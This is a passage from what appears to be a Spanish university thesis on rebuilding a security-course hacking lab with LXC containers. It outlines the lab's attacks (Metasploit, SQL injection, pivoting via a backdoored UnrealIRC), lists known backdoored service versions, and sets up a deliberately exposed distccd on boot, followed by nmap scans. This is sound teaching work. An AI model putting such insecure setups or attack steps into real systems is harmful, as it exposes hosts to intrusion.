(30) Capı́tulo 3 Descripción de la práctica Contenidos. 3.1.. 3.1. Propósito . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. 16. 3.2. Escenario . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. 17. 3.3. Desarrollo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. 18. 3.3.1. Parte 1: Uso de Metasploit-Framework . . . . . . . . .. 18. 3.3.2. Parte 2: Ataque de inyección SQL . . . . . . . . . . . .. 18. 3.3.3. Parte 3: Acceso a una red interna . . . . . . . . . . . .. 19. Propósito. Poder obtener un primer acercamiento a la ciberseguridad en forma de prácticas docentes es de gran utilidad para los alumnos de una asignatura de seguridad informática: Les ofrece una toma de contacto práctica con los conocimientos teóricos obtenidos durante el curso y les conciencia sobre la gran importancia que tiene reconocer los riesgos que conlleva el uso de las nuevas tecnologı́as. Hay diferentes enfoques a la hora de proponer una práctica docente, según el ámbito en el que se quiera incidir:. Ataque: Consiste en explotar una vulnerabilidad en el escenario propuesto con el objetivo de conseguir información confidencial, tomar el control del sistema, interrumpir la disponibilidad del servicio o comprometer la integridad de los datos. Defensa: Consiste en preparar las defensas de un sistema para evitar los casos expuestos en el anterior apartado, ya sea configurando un cortafuegos, aplicando criptografı́a, identificando servicios y programas vulnerables... 16.

(31) 3.2. ESCENARIO. 17. Forense: Consiste en la extracción de información valiosa de una serie da datos puros proporcionados, como puede ser una base de datos de contraseñas encriptadas o los datos residuales tras un borrado de ficheros.. En este caso, la práctica está orientada al ataque de una serie de máquinas desplegadas, las cuales representan servidores y redes con diferentes vulnerabilidades.. 3.2.. Escenario. El escenario de la práctica está compuesto por cuatro servidores: Servidor Metasploitable, S1, S2 y SQLi. Metasploitable y SQLi están conectados a la máquina kali del alumno mediante una red llamada private, mientras que S1 está conectada a la máquina del usuario mediante una red externa extranet y S2 está conectada a S1 mediante un red interna intranet. El esquema es el siguiente:. Figura 3.1: Esquema del escenario de la práctica.

(32) 18. 3.3. 3.3.1.. CAPÍTULO 3. DESCRIPCIÓN DE LA PRÁCTICA. Desarrollo Parte 1: Uso de Metasploit-Framework. En esta parte de la práctica se introducirá al alumno en el uso del framework Metasploit en una máquina kali, usando PostgresSQL para almacenar los datos que se obtengan con la herramienta. La máquina kali está conectada en red a un servidor Metasploitable diseñado para ser vulnerable. Se utilizará el framework para realizar un escaneo de puertos y encontrar posibles servicios vulnerables en un servidor Metasploitable, el cual es vulnerable por diseño. Posteriormente, se aprovecha una vulnerabilidad del servicio File Transfer Protocol (FTP) para poder introducirse en el sistema, y se consigue el fichero de credenciales del sistema. Por último, a ese fichero, que está codificado, se le realiza un ataque de fuerza bruta para descodificar las contraseñas que usan los distintos usuarios del sistema, con el objetivo de intentar acceder al servidor directamente por consola o con ssh.. 3.3.2.. Parte 2: Ataque de inyección SQL. Este apartado de la práctica consiste en la realización de dos inyecciones de SQL básicas en una página simple con autenticación inicial. En la primera inyección se busca acceder a la aplicación introduciendo en el formulario de identificación una sentencia que engañe al servidor. Esta secuencia es simple debido a que en este punto no hay programado ninguno filtro que compruebe que lo que se inserta en los formularios es una posible inyección de código. En la segunda inyección se pretende conseguir datos mediante la introducción de secuencias SQL como parámetros en la barra de navegación. Al contrario que en el primer caso, aquı́ hay un filtro sanitizeSQL que complica ligeramente la inyección de código..

(33) 3.3. DESARROLLO. 3.3.3.. 19. Parte 3: Acceso a una red interna. En esta última parte de la práctica, el objetivo es acceder a un servidor S2 que está en una red interna a la cual no se tiene acceso desde la máquina kali. Para ello, primero es necesario aprovecharse de una vulnerabilidad en el servicio Unreal IRC del servidor S1, el cual si está conectado a la máquina del alumno, para acceder a ella y realizar un backpipe con el que redirigir el tráfico al servidor S2. Posteriormente, se intenta acceder a un servicio web que proporciona S2 en el se puede consultar las credenciales de la red interna. Este servicio tiene un formulario web mediante el que un usuario de puede loguear para usar el servicio, y que es susceptible a ser vulnerado mediante una inyección SQL. Tras realizar la inyección y recuperar las credenciales, las cuales estarán codificadas, se usarán para introducirse en la máquina S2 tras realizar otro backpipe en la máquina S1. Tras ello, se transferirá una imagen NTSF encontrada en S2 al sistema del alumno, correspondiente a los datos de un USB. Tras ello, se realizará análisis forense para encontrar ficheros eliminados en esa imagen cuyos datos no han sido reemplazados, y se termina realizando un pequeño puzzle que da fin a la práctica..

(34) Capı́tulo 4 Optimización: Máquina de Usuario Contenidos 4.1 4.2. 4.1. 4.1.1.. Sistema original . . . . . . . . . . . . . . . . . . . . . . . . . .. 20. 4.1.1. Descripción . . . . . . . . . . . . . . . . . . . . . . . .. 20. Sistema optimizado . . . . . . . . . . . . . . . . . . . . . . . .. 21. 4.2.1. Descripción . . . . . . . . . . . . . . . . . . . . . . . .. 21. 4.2.2. Preparación del sistema . . . . . . . . . . . . . . . . .. 22. Sistema original Descripción. El sistema de la práctica original es una máquina virtual Linux con distro Kali 1.1.0 emulada en VirtualBox, cuyas principales caracterı́sticas son: Un procesador de un núcleo asignado. Tamaño dinámico de 40 GB que se van expandiendo en el disco duro según se van llenando en la máquina virtual. Tamaño ocupado en disco tras despliegue de aproximadamente 7.5 GB. 2 GB de memoria Random Access Memory (RAM) asignada (podrı́a funcionar con menos, pero se desaconseja hacerlo porque empeorarı́a el rendimiento) Tres adaptadores de red asignados: Dos funcionando como bridges para las redes internas “private” e “extranet”, y una funcionando con configuración 20.

(35) 4.2. SISTEMA OPTIMIZADO. 21. Network Address Translation (NAT). Las direcciones IP de las interfaces que conectan con esas redes son 10.10.0.5 y 10.10.1.5 para las redes del escenario, y una IP generada automáticamente en el caso de la configuración NAT. Las redes descritas se pueden ver en la Figura 3.1 Esta máquina tiene instalados todos los programas y herramientas necesarios, incluyendo el Metasploit-framework que se usa para la parte 1 y 3 de la práctica, descritas en la Subsección 3.3.1 y en la Subsección 3.3.3 respectivamente.. 4.2. 4.2.1.. Sistema optimizado Descripción. Para optimizar el sistema se ha instalado en una máquina virtual nueva una distribución ligera de Kali 2.0, cuya principal diferencia con respecto a la versión completa es que posee menos herramientas instaladas y tiene una interfaz de escritorio basada en XFCE, que es más ligera que la interfaz basada en GNOME 3 que lleva la versión completa. Las caracterı́sticas que lo diferencian de la máquina original son las siguientes: La máquina ocupa en el sistema del usuario alrededor de 2.6 GB cuando está desplegada. Este tamaño será mayor tras la introducción del contenido del sistema de directorios de las demás máquinas virtuales, paso necesario para realizar la optimización de las mismas, tal y como se explicará en el Capı́tulo 5. Las tarjetas de red instaladas en esta máquina son cuatro: Tres tarjetas funcionando como bridges para las redes internas private, extranet e intranet, y una funcionando con configuración NAT. La inclusión del bridge intranet se debe a que es necesario replicar los bridges virtualmente dentro de la máquina, algo que se explicará en profundidad en la Subsección 5.2.2. Como se ha mencionado, la distribución utilizada es una versión de Kali aligerada que tiene menos herramientas. Entre las herramientas que faltan se encuentra el framework de metasploit. Al instalarlas, la máquina pasa a ocupar alrededor de 3.2 GB..

(36) 22. 4.2.2.. CAPÍTULO 4. OPTIMIZACIÓN: MÁQUINA DE USUARIO. Preparación del sistema. Debido a las caracterı́sticas que posee nuestra nueva máquina Kali y a la necesidad de tener los sistemas de directorios de los servidores dentro de la partición “/var”, serán necesarios algunos ajustes previos antes de poder utilizar correctamente la máquina Kali.. Instalación del Metasploit-framework Como se ha mencionado anteriormente, la distro carece del framework de metasploit, por lo que será necesario instalarlo y actualizar OpenSSL para que funcione correctamente. Esto se hace con los siguientes comandos: Código 4.1: Instalar metasploit root@kali : -# sudo apt - get update root@kali : -# sudo apt - get install metasploit - framework root@kali : -# sudo apt - get install openssl. Posteriormente a su instalación, es necesario activar el servicio de postgresSQL e iniciar la base de datos. Estas acciones se pueden realizar con los siguientes comandos: Código 4.2: Iniciar base de datos root@kali : -# service postgresql start root@kali : -# msfdb init. Para comprobar que la base de datos está operativa y funciona, introducimos el siguiente comando una vez estemos dentro del “msfconsole”: Código 4.3: Funcionamiento de DB root@kali : -# msfconsole msf > db_status [*] postgresql connected to msf. De esta manera ya disponemos de la herramienta “msfconsole” lista para usarla en la práctica..

(37) 4.2. SISTEMA OPTIMIZADO. 23. Puesta a punto de las particiones Para poder arrancar las máquinas virtuales con LXC es necesario migrar los directorios de las mismas al directorio “/var” de la máquina Kali, el cual tiene partición propia. Sin embargo, esta partición se crea automáticamente en la instalación con un tamaño aproximado de 2.5 GB, insuficientes para contener todas las máquinas. Por lo tanto, es necesario modificar las particiones. Para ello, se ha usado un live-CD del programa GParted, descargado como imagen ISO y arrancado desde la disquetera virtual de la máquina, pulsando F12 y seleccionándolo en el momento de arrancar. Para que funcione correctamente, es necesario activar la opción Habilitar EFI en la pestaña Sistema de la configuración de la máquina virtual. Eventualmente, se llega al siguiente menu:. Figura 4.1: GParted. La partición señalada es la que hay que agrandar Desde aquı́ se pueden ir desplazando las particiones hacia la derecha con el objeti-.

(38) 24. CAPÍTULO 4. OPTIMIZACIÓN: MÁQUINA DE USUARIO. vo de dejar espacio para la partición “/dev/sda5”, y poder agrandarla a continuación. Dejaremos 19.5 GB de tamaño para la partición correspondiente al directorio “/var”.. Preparación de la red La red en el caso del sistema optimizado es ligeramente diferente al sistema original. En el original, se definı́an las interfaces que se conectaban con los bridges que VirtualBox proporcionaba a las máquinas. En el caso optimizado, las interfaces se comportan directamente como bridges virtuales de cara a las máquinas virtuales ligeras. Para definir esos bridges tenemos varias opciones, tal como se explican en [3] y [4]: 1. Crear un script llamado “lxc-net” en la ruta “/etc/default/”, el cual activará el bridge al reiniciar el sistema. Código 4.4: /etc/default/lxc-net USE_LXC_BRIDGE = " true " LXC_BRIDGE = " private " LXC_ADDR = " 10.10.0.1 " LXC_NETMASK = " 255.255.255.0 " LXC_NETWORK = " 10.10.0.0/24 " LXC_DHCP_RANGE = " 10.10.0.2 ,10.10.0.254 " LXC_DHCP_MAX = " 253 " LXC_DHCP_CONFILE = " " LXC_DOMAIN = " ". Tiene ciertas limitaciones, puesto que el script solo permite abrir un bridge. 2. La otra opción, y la que se ha utilizado de forma definitiva, es la modificación del fichero “/etc/network/interfaces”, cambiando la definición de las interfaces que habı́a anteriormente para crear los bridges. Eliminar las anteriores interfaces definidas en el escenario original es necesario, puesto que el orden en el que se van mostrando corresponde a las tarjetas de red asignadas en la configuración de la máquina virtual en VirtualBox. Por lo tanto, la definición de una de las redes queda ası́:.

(39) 4.2. SISTEMA OPTIMIZADO. 25. Código 4.5: /etc/network/interfaces auto private iface private inet static bridge_ports none bridge_fd 0 address 10.10.0.5 netmask 255.255.255.0 network 10.10.0.0. Se pueden observar dos opciones propias de los bridges: Bridge ports: En esta opción se puede poner la interfaz de la máquina con la que están conectados, por ejemplo, eth0. En nuestro caso no es necesario que esté conectado a ninguna otra interfaz para que las máquinas virtuales puedan comunicarse con el host. Bridge fd: Indica el tiempo de retardo entre que una interfaz se conecta al bridge y esta es capaz de comunicarse con las demás interfaces conectadas. La conexión de los contenedores con el sistema del usuario será definida mediante los archivos de configuración correspondientes a cada contenedor, tal como se explicará en apartados posteriores. Por último, cuando todo el escenario, incluyendo los servidores, esté montado, será necesario reducir el tamaño del archivo que representa el disco duro de la máquina virtual. Para ello deberemos usar el programa zerofree en Linux en las particiones de mayor tamaño y compactar el tamaño del disco duro de la máquina virtual, siguiendo las instrucciones de [5]. En caso de problemas al no poder montar las particiones como read-only, es necesario seguir los pasos indicados en [6]..

(40) Capı́tulo 5 Optimización: Servidores virtuales Contenidos 5.1. 5.2. 5.1. 5.1.1.. Situación original . . . . . . . . . . . . . . . . . . . . . . . . .. 26. 5.1.1. Descripción . . . . . . . . . . . . . . . . . . . . . . . .. 26. Máquinas optimizadas . . . . . . . . . . . . . . . . . . . . . . .. 27. 5.2.1. Descripción . . . . . . . . . . . . . . . . . . . . . . . .. 27. 5.2.2. Preparación de los contenedores: S1, S2, SQLi . . . . .. 28. 5.2.3. Preparación del contenedor SVulnerable . . . . . . . .. 31. Situación original Descripción. En la práctica original disponemos de cuatro servidores desplegados en máquinas virtuales a través de VirtualBox, y conectadas entre sı́ mediante bridges simulados, siguiendo el esquema de red de la Figura 3.1. Estos servidores tienen las siguientes caracterı́sticas:. Un procesador de un núcleo asignado. Tamaño dinámico de 20 GB que se van expandiendo en el disco duro según se van llenando en la máquina virtual. Tamaño ocupado en disco tras despliegue de alrededor de 1.9 GB de media, ocupando juntos en total 7.66 GB. 512 MB de memoria RAM asignada. 26.

(41) 5.2. MÁQUINAS OPTIMIZADAS. 27. Adaptadores de red asignados según las redes a las que están conectados, pudiendo ser estas la red “private”, la red “extranet” o la red “intranet”. Se puede observar el esquema de la red y las IPs correspondientes a cada servidor en la Figura 3.1. Todos los servidores salvo el Metasploitable se basan en Ubuntu 14.04. La máquina Metasploitable se basa en Ubuntu 8.04.. 5.2. 5.2.1.. Máquinas optimizadas Descripción. Las principales caracterı́sticas que lo diferencian de las máquinas virtuales ejecutadas a través de VirtualBox son las siguientes:. Ahora no se asignan adaptadores de red, sino enlaces VEth que unen los contenedores con los bridges previamente configurados en el host. La máquina Metasploitable no es compatible con LXC al estar basada en Ubuntu 8.04, por lo que se ha creado un nuevo contenedor, llamado SVulnerable, al que se le ha instalado un programa vulnerable y que sustituye al Metasploitable. Se explicará posteriormente el proceso de instalación y los cambios que hay en las práctica respecto a la situación original. Al realizar la migración, los contenedores pasan a pesar una media de 1.4 GB de tamaño en el disco duro. Los contenedores se inician en un principio con comandos. Sin embargo, para facilitar el uso a lo alumnos, se proporcionará un script interactivo con el que puedan abrir y cerrar la máquina que deseen, ası́ como acceder a la consola de las máquinas si lo requieren. Comparten recursos con la máquina Kali que ejecuta el usuario, y funcionan correctamente con los que se han reservado, mediante VirtualBox, para la máquina Kali..

(42) 28. 5.2.2.. CAPÍTULO 5. OPTIMIZACIÓN: SERVIDORES VIRTUALES. Preparación de los contenedores: S1, S2, SQLi. Sistema de archivos Para poder realizar una migración desde una máquina virtual a un contenedor de LXC es necesario transferir todo el sistema de archivos de las máquinas virtuales al directorio de los contenedores en “/var/lib/lxc/$NombreDelContenedor”. Sin embargo, hay tres que son propias del sistema ejecutado y que no se pueden migrar. Son las siguientes:. /proc Es un pseudo-Sistema de archivos que contiene información sobre la ejecución del sistema (memoria del sistema, particiones montadas, configuración hardware...) en forma de archivos virtuales. /dev Es un pseudo-Sistema de archivos que permite la interacción con los dispositivos conectados a la máquina, pudiendo ser esta interacción, por ejemplo, mediante la salida de datos (a través de la consola) hacia esos ficheros. En este directorio se incluyen las particiones, que luego son montadas como directorios propios. /sys Es similar y tiene la misma funcionalidad que /proc. Sin embargo, este está mejor estructurado, pues se implementó en versiones posteriores del SO.. Además, es necesario configurar correctamente los contenedores mediante el fichero de configuración que está en el directorio de cada contenedor. Dado que las máquinas a migrar tienen como SO Ubuntu, la primera parte de la preparación ha consistido en crear contenedores Ubuntu a partir de las plantillas que proporciona LXC, de manera que tanto el fichero de configuración como los directorios de sistema especiales antes descritos se generen automáticamente. Para ello, se pone el siguiente comando: Código 5.1: Comando para crear contenedor root@kali : -# lxc - create -n ( N o m br e D el C o nt e n ed o r ) -t ubuntu. Tras ello, debemos eliminar todos los directorios salvo los tres mencionados y reemplazarlos por los de las máquinas virtuales. Esta operación lo hacemos con los siguientes comandos:.

(43) 5.2. MÁQUINAS OPTIMIZADAS. 29. Código 5.2: Comando para migrar directorios root@kali : -# rm -r bin boot etc home lib lib64 media mnt opt root run sbin selinux srv tmp usr var root@kali : -# rsync -e ssh -a -- exclude ’/ dev ’ -- exclude ’/ proc ’ -exclude ’/ sys ’ ( I p D e L a M a q u i n a V i r t u a l ) :/ / var / lib / lxc /( N om b r e De l C on t e ne d o r ) / rootfs. Interfaces de red A continuación, es necesario configurar las interfaces de nuestros contenedores. En un sistema habitual, ya sea a través de máquina virtual o directamente como SO nativo, las interfaces de red se definen en el archivo “/etc/network/interfaces”. Sin embargo, en el caso de los contenedores, las interfaces son definidas en los ficheros de configuración externos al contenedor. Las interfaces se pueden definir con diferentes tipos. A continuación se mostrará un ejemplo para crear las interfaces de red de S1 y la explicación de los tipos mencionados, ilustrado de forma más extensa en [7]: Código 5.3: Configuración de interfaces # Network configuration lxc . network . type = veth lxc . network . hwaddr = 00:16:3 e :04:94:71 13 lxc . network . name = eth0 lxc . network . link = extranet lxc . network . ipv4 = 10.10.1.10/24 lxc . network . ipv4 . gateway = 10.10.1.1 lxc . network . flags = up lxc . network . type = macvlan lxc . network . macvlan . mode = bridge lxc . network . hwaddr = 00:16:3 e :04:94:72 lxc . network . name = eth1 lxc . network . link = intranet lxc . network . ipv4 = 10.10.2.10/24 lxc . network . flags = up. VEth: Este tipo de interfaz representa un enlace que conecta virtualmente el contenedor con el bridge especificado en “lxc.network.link”. Esto representa 13. Es importante que todas las MAC de todas las interfaces del escenario sean diferentes.

(44) 30. CAPÍTULO 5. OPTIMIZACIÓN: SERVIDORES VIRTUALES una unión entre el contenedor y el host, en donde se creará una interfaz virtual, similar a una tuberı́a, de manera que todo lo que salga por una de las interfaces virtuales de los extremos llegará al otro. A pesar de esto, la conexión no es Point to Point (PtP), sino Ethernet. Esta conexión a nivel interno es en realidad entre dos interfaces del host virtuales que se encuentran en Network namespaces (concepto explicado en la Subsección 2.3.1) diferentes, estando la del contenedor oculta para el Network namespace por defecto.. MacVlan: Este es un tipo especial de interfaz. Al seleccionar este tipo, se crea una interfaz virtual en el contenedor que se asigna a la interfaz del host, en nuestro caso el bridge. No se crea otro VEth en el host, como ocurre en el anterior caso. Esto se puede realizar con varios contenedores, lo que harı́a un mapeo “uno a muchos”, donde las interfaces de estos contenedores estarı́an separadas en diferentes Virtual Local Area Network (VLAN)s. Dentro de este tipo, se ha usado el modo bridge. Este modo sirve para utilizar el bridge definido en el host como un bridge simple, de manera que sirva para interconectar varias interfaces Macvlan entre ellas, sin que el host tenga comunicación con los contenedores. Una vez arranquemos uno de los contenedores, se deberı́a poder ver una nueva interfaz virtual en el host, con una descripción similar a la siguiente: Código 5.4: Interfaz virtual con ifconfig root@kali : -# ifconfig [...] veth7HAPVM : flags =4163 < UP , BROADCAST , RUNNING , MULTICAST > mtu 1500 inet6 fe80 :: fc59 : d3ff : fe4c : f8ae prefixlen 64 scopeid 0 x20 < link > ether fe :59: d3 :4 c : f8 : ae txqueuelen 1000 ( Ethernet ) RX packets 6 bytes 508 (508.0 B ) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 6 bytes 508 (508.0 B ) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0. Por último, dado que, como se ha mencionado y mostrado, las interfaces se realizan en el archivo de configuración, los archivos de interfaces de los contenedores deben ser modificados. De lo contrario, al arrancar el sistema habrá conflictos entre las dos configuraciones y el inicio tardará mucho más de lo normal. En el caso de S1, el archivo de configuración de interfaces deberı́a quedar de la siguiente manera, sustituyendo el usual “dhcp” por “manual”..

(45) 5.2. MÁQUINAS OPTIMIZADAS. 31. Código 5.5: /var/lib/lxc/S1/rootfs/etc/network/interfaces auto lo iface lo inet loopback auto eth0 iface eth0 inet manual auto eth1 iface eth1 inet manual. 5.2.3.. Preparación del contenedor SVulnerable. Este contenedor será creado nuevo mediante el comando mostrado en el Código 5.1. Las interfaces de red se configuran exactamente igual que en lo explicado en la parte de configuración de las interfaces de red de la Subsubsección 5.2.2. Lo que hace diferente la preparación de este contenedor es que será necesario instalar un programa vulnerable. Para ello, hay varios servicios posibles que pueden ser instalados, que se listan a continuación junto a la razón por la que han sido o no descartados. 1. Samba: De la versión 3.0.0 a la 3.0.25rc3 tenı́a una vulnerabilidad que permitı́a a un atacante ejecutar comandos de consola. Más información en [8]. Se ha tratado de instalar de los repositorios antiguos de Ubuntu, pero tras hacerlo no ha sido posible explotar la supuesta vulnerabilidad del programa, por lo que es posible que la versión de ese repositorio la tuviese corregida. 2. Vsftpd: Entre el 30 de Junio de 2011 y el 1 de Julio del mismo año introdujeron una puerta trasera (backdoor) en el paquete de instalación, que permitı́a tomar control de la vı́ctima. Más información en [9] y [10]. El 3 de Julio se eliminó el backdoor del paquete, por lo que se ha descartado al no haber sido capaz de encontrar una versión que no tuviese la vulnerabilidad corregida. 3. Unreal IRC: Entre Noviembre de 2009 y Junio de 2010 fue distribuido un paquete de instalación del programa que tenı́a un backdoor que permitı́a ejecutar comandos arbitrarios en el sistema de la vı́ctima. Más información en [11]. Se ha descartado su uso en este contenedor puesto que S1 ya lo tiene instalado, y es precisamente el servicio que se vulnera en la última parte de la práctica..

(46) 32. CAPÍTULO 5. OPTIMIZACIÓN: SERVIDORES VIRTUALES 4. Discctd: Las versiones 2.x del programa tienen una vulnerabilidad cuando está no está configurado para restringir el acceso al puerto del server, permite ejecutar comandos arbitrariamente en el sistema de la vı́ctima. Más información en [12]. Este es el programa que finalmente se ha decidido instalar en el contenedor vulnerable, y cuyo procedimiento que será descrito a continuación.. Instalación de Distccd Para la instalación de Distccd se han tenido que cambiar los enlaces a los repositorios, con el objetivo de encontrar la versión de Ubuntu en la que se instalaba la versión vulnerable de Distccd. Esa versión de Ubuntu es la 6.10 Edgy, por lo que el archivo con los enlaces a los repositorios debe contener lo siguiente: Código 5.6: /var/lib/lxc/SVulnerable/rootfs/etc/apt/source.list deb h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu / edgy main r e s t r i c t e d deb−s r c h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu / edgy main r e s t r i c t e d deb h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu / edgy−u p d a t e s main r e s t r i c t e d deb−s r c h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu / edgy−u p d a t e s main r e s t r i c t e d deb h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu / edgy u n i v e r s e deb−s r c h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu / edgy u n i v e r s e deb h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu / edgy−u p d a t e s u n i v e r s e deb−s r c h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu / edgy−u p d a t e s u n i v e r s e deb h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu / edgy m u l t i v e r s e deb−s r c h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu / edgy m u l t i v e r s e deb h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu / edgy−u p d a t e s m u l t i v e r s e deb−s r c h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu / edgy−u p d a t e s m u l t i v e r s e deb h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu / edgy−b a c k p o r t s main r e s t r i c t e d u n i v e r s e m u l t i v e r s e deb−s r c h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu / edgy−b a c k p o r t s main r e s t r i c t e d u n i v e r s e multiverse deb h t t p : / / a r c h i v e . c a n o n i c a l . com/ ubuntu edgy p a r t n e r deb−s r c h t t p : / / a r c h i v e . c a n o n i c a l . com/ ubuntu edgy p a r t n e r deb h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu edgy−s e c u r i t y main r e s t r i c t e d deb−s r c h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu edgy−s e c u r i t y main r e s t r i c t e d deb h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu edgy−s e c u r i t y u n i v e r s e deb−s r c h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu edgy−s e c u r i t y u n i v e r s e deb h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu edgy−s e c u r i t y m u l t i v e r s e deb−s r c h t t p : / / o l d −r e l e a s e s . ubuntu . com/ ubuntu edgy−s e c u r i t y m u l t i v e r s e. Una vez cambiado, basta con instalar el programa mediante la consola, haciendo previamente un “chroot” al directorio raı́z del contenedor con lo que se instalará la versión 2.18.3: Código 5.7: Instalar distccd en SVulnerable root@kali : -# chroot / var / lib / lxc / SVulnerable / rootfs root@kali :/ # apt - get update root@kali :/ # apt - get install distcc. Con esto tenemos instalado el programa. Sin embargo, este servicio no se inicia al inicio del contenedor. Debemos crear un script que se ejecute en el inicio, siguiendo.

(47) 5.2. MÁQUINAS OPTIMIZADAS. 33. las indicaciones que aparecen en [13]. El script es súmamente sencillo, por lo que todas las operaciones las haremos en la consola: Código 5.8: Configurar distcc para que inicie con el sistema root@kali : -# chroot / var / lib / lxc / SVulnerable / rootfs root@kali :/ # echo " usr / local / bin / distccd -- allow 0.0.0.0/0 -daemon -- user ubuntu " > / etc / init . d / distcconboot root@kali :/ # chmod 744 / etc / init . d / distcconbot root@kali :/ # update - rc . d -f / etc / init . d / distcconbot start 99 1 2 3 4 5 ..

(48) Capı́tulo 6 Uso del escenario Contenidos 6.1. 6.1.. Script para alumnos . . . . . . . . . . . . . . . . . . . . . . . .. 34. Script para alumnos. Para dar facilidades al alumno que realizará las prácticas con este escenario, se ha realizado un script en bash que facilite el uso de los contenedores. Este scripts será interactivo y preguntará al usuario por la acción que quiere llevar a cabo. El script hace uso de los comandos de LXC para arrancar, parar, acceder a la consola de los contenedores que estén arrancados yc comprobar el estado de los contenedores. El comando para arrancar un contenedor es el siguiente: Código 6.1: Arrancar un contenedor root@kali : -# lxc - start -n ( n o m br e d el c o nt e n ed o r ). En caso de que se quisiese arrancar el contenedor y usar la consola del mismo desde el inicio, se deberı́a añadir el argumento “-F”. El comando para parar un contenedor es el siguiente: Código 6.2: Parar un contenedor root@kali : -# lxc - stop -n ( n o m br e d el c o nt e n ed o r ). El comando para acceder a la consola de un contenedor arrancado es el siguiente 14 : 14. En el script se abre otra ventana de terminar para acceder a la consola. Para ello, es necesario rodear el comando con: xfce4-terminal --hold -e “bash -c \“(comando)\””. 34.

(49) 6.1. SCRIPT PARA ALUMNOS. 35. Código 6.3: Acceder a consola de un contenedor root@kali : -# lxc - console -n ( n o m br e d el c o nt e n ed o r ). El comando para comprobar el estado de los contenedores es el siguiente: Código 6.4: Ver estado de contenedores root@kali : -# lxc - ls -- fancy. Mediante estos simples comandos el usuario puede tener control de todos los contenedores..

(50) Capı́tulo 7 Cambios en la práctica Contenidos 7.1. Cambios generales . . . . . . . . . . . . . . . . . . . . . . . . .. 36. 7.2. Primera parte con SVulnerable . . . . . . . . . . . . . . . . . .. 37. 7.2.1. Inicialización del entorno . . . . . . . . . . . . . . . . .. 37. 7.2.2. Iniciando servicios . . . . . . . . . . . . . . . . . . . . .. 37. 7.2.3. Exploración de la red . . . . . . . . . . . . . . . . . . .. 37. 7.2.4. Explotación de vulnerabilidades . . . . . . . . . . . . .. 39. Debido a la adaptación del escenario al uso de contenedores con LXC, y debido a que el contenedor realizado para la primera parte de la misma es completamente nuevo, hay que hacer algunos ajustes al guión de la práctica. En este capı́tulo, se describirá el nuevo guión de la primera parte y los cambios generales que hay en el resto del guión. Únicamente se mostrará los aspectos prácticos del guión, obviando las introducciones teóricas y preparatorias.. 7.1.. Cambios generales. Para toda la práctica en general los únicos cambios necesarios son sustituir las referencias a máquinas virtuales por contenedores, si se requiere ser más preciso. Los procedimientos prácticos por parte del usuarios son los mismos independientemente de este hecho. 36.

(51) 7.2. PRIMERA PARTE CON SVULNERABLE. 7.2. 7.2.1.. 37. Primera parte con SVulnerable Inicialización del entorno. Para poder realizar esta práctica es necesario ejecutar la máquina Kali. Ejecute el siguiente comando y seleccione la opción “1. Abrir SVulnerable”: Código 7.1: Correr script root@kali : -# ./ C ont ro l_ se rv id or es . sh. 7.2.2.. Iniciando servicios. Antes de empezar a utilizar framework de metasploit, será necesario iniciar el servicio de postgresql, de modo que se pueda almacenar los resultados de los escaneos de puertos con nmap. No es necesario iniciar los servicios de metasploit en las últimas versiones del framework, por lo que solo hay que intrudir el siguiente comando: Código 7.2: Iniciar servicios para la práctica root@kali : -# service postgresql start. A continuación, abra una consola de metasploit con el siguiente comando15 : Código 7.3: Abrir consola de metasploit root@kali : -# msfconsole msf >. De esta manera tendremos el “prompt” de metasploit abierto para seguir la práctica.. 7.2.3.. Exploración de la red. Tras haber abierto el terminar de metasploit, es necesario conocer las máquinas de la red a la que tenemos acceso y los servicios que tienen corriendo, ası́ como los 15. Puede tardar un poco en arrancar si la base de datos no se ha inicalizado previamente. Puede iniciar la base de datos previamente con msfdb init.

(52) 38. CAPÍTULO 7. CAMBIOS EN LA PRÁCTICA. puertos abiertos en los que esos servicios están escuchando. Para ello haremos uso de la herramienta nmap, que es capaz de extraer una gran información de las máquinas conectadas a la red. Vamos a explorar la red en la que está conectada el contenedor SVulnerable y comprobar todos los posibles puertos: Código 7.4: Explorar la red msf > nmap -p 1 -65535 10.10.0.0/24. Al hacerlo podremos ver información sobre el sistema que pretendemos atacar. Sin embargo, esta información no se guarda en ningún sitio. Para que podamos almacenar las consultas hay que seguir el siguiente procedimiento: En primer lugar debemos comprobar el estado de la conexión con la base de datos: Código 7.5: Comprobar el estado de la DB msf > db_status [*] postgresql connected to msf 16. A continuación crearemos un espacio de trabajo nuevo para trabajar con mayor comodidad, de manera que toda la información guardada estará en ese entorno: Código 7.6: Crear nuevo espacio de trabajo msf > workspace -a p1. A continuación ejecutamos el escaneo de red guardando los datos en la base de datos: Código 7.7: Escanear y guardar en la DB msf > db_nmap -p 1 -65535 -A 17 10.10.0.0/24. Para ver la información recopilada en la base de datos podemos usar los comandos host, services, notes, vulns y creds:. 16 17. Si aparece este mensaje es que la conexión se ha establecido correctamente Este argumento hace que la exploración devuelva información adicional.

